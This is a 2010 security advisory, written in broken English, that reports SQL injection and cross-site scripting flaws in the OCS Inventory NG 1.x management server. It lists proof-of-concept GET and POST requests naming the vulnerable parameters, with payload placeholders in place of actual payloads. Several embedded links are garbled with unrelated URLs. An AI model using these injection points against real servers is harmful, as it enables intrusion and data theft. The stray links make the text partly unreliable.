OCSinventory-ng Multiple remote vulnerabalities as ben descovered in OCS Inventory NG Management server, sql inyeccion and xss This vulneravility afect version 1.x [Name] OCS Inventory [vendor] http://www.ocsinventory-ng.org/<http://www.eclac.org/> [Download] http://www.ocsinventory-ng.org/index.php?page=1-02-1<http://www.comerciosonline.com/index.php?p=8> [Category] web server aplication [OS afected] Linux - Windows ------------------------------ ----------------------------------------------------------------------------------------- Vulnerability [Category] Cros site scriptting (XSS), SQL Iny. [Affect Version] 1.x [Discovered] 22/01/2010 [Reported] 22/01/2010 [Author] Hernan Jais [Mail] hernanjais1[at]gmail[dot]com [Web] www.dhcsecurity.com.ar<http://www.dhcsecurity.com.ar/> [POC] SQL INY GET variables http://localhost/ocsreports/index.php?&cuaff=NA&key=1&lareq=Computadores+que+tienen+una+etiqueta+dada&c=[SQL INY]&rev=1&page=1<http://localhost/cgibin/RpWebEngine.exe/PortalAction?&MODE=MAIN&BASE=> SQL INY POST variables paginator http://localhost/ocsreports/index.php?multi=1 POST: chm_0=useragent&lbl_0=Agente% 2Bde%2Busuario&ega_0=IGUAL&val_0=OCS-NG_windows_client_v4054&act_1=on&chm_1=ipaddr&lbl_1=Direcci%25F3n%2BIP&ega_1=IGUAL[XSS]&val_1=+[SQL INY]&max=2&sub=Buscar http://localhost/ocsreports/index.php?multi=36<http://172.21.5.74/ocsreports/index.php?multi=36> POST: onglet_bis=A[SQL INY]&old_onglet_bis=C&pcparpage=20&page=0&old_pcparpage=20&search=&COMPAR=%3C&NBRE=&OLD_ONGLET=C XSS http://localhost/ocsreports/index.php?&[XSS]<http://localhost/cgibin/RpWebEngine.exe/PortalAction?&MODE=MAIN&BASE=>cuaff=NA&[XSS]<http://localhost/cgibin/RpWebEngine.exe/PortalAction?&MODE=MAIN&BASE=>key=1&[XSS]<http://localhost/cgibin/RpWebEngine.exe/PortalAction?&MODE=MAIN&BASE=>lareq=Computadores+que+tienen+una+etiqueta+dada&[XSS]<http://localhost/cgibin/RpWebEngine.exe/PortalAction?&MODE=MAIN&BASE=>c=h.memory&[XSS]<http://localhost/cgibin/RpWebEngine.exe/PortalAction?&MODE=MAIN&BASE=>a=1&[XSS]<http://localhost/cgibin/RpWebEngine.exe/PortalAction?&MODE=MAIN&BASE=>rev=1&[XSS]<http://localhost/cgibin/RpWebEngine.exe/PortalAction?&MODE=MAIN&BASE=>page=1[XSS]<http://localhost/cgibin/RpWebEngine.exe/PortalAction?&MODE=MAIN&BASE=> -------------------------------------------------------------------------------------------------------------------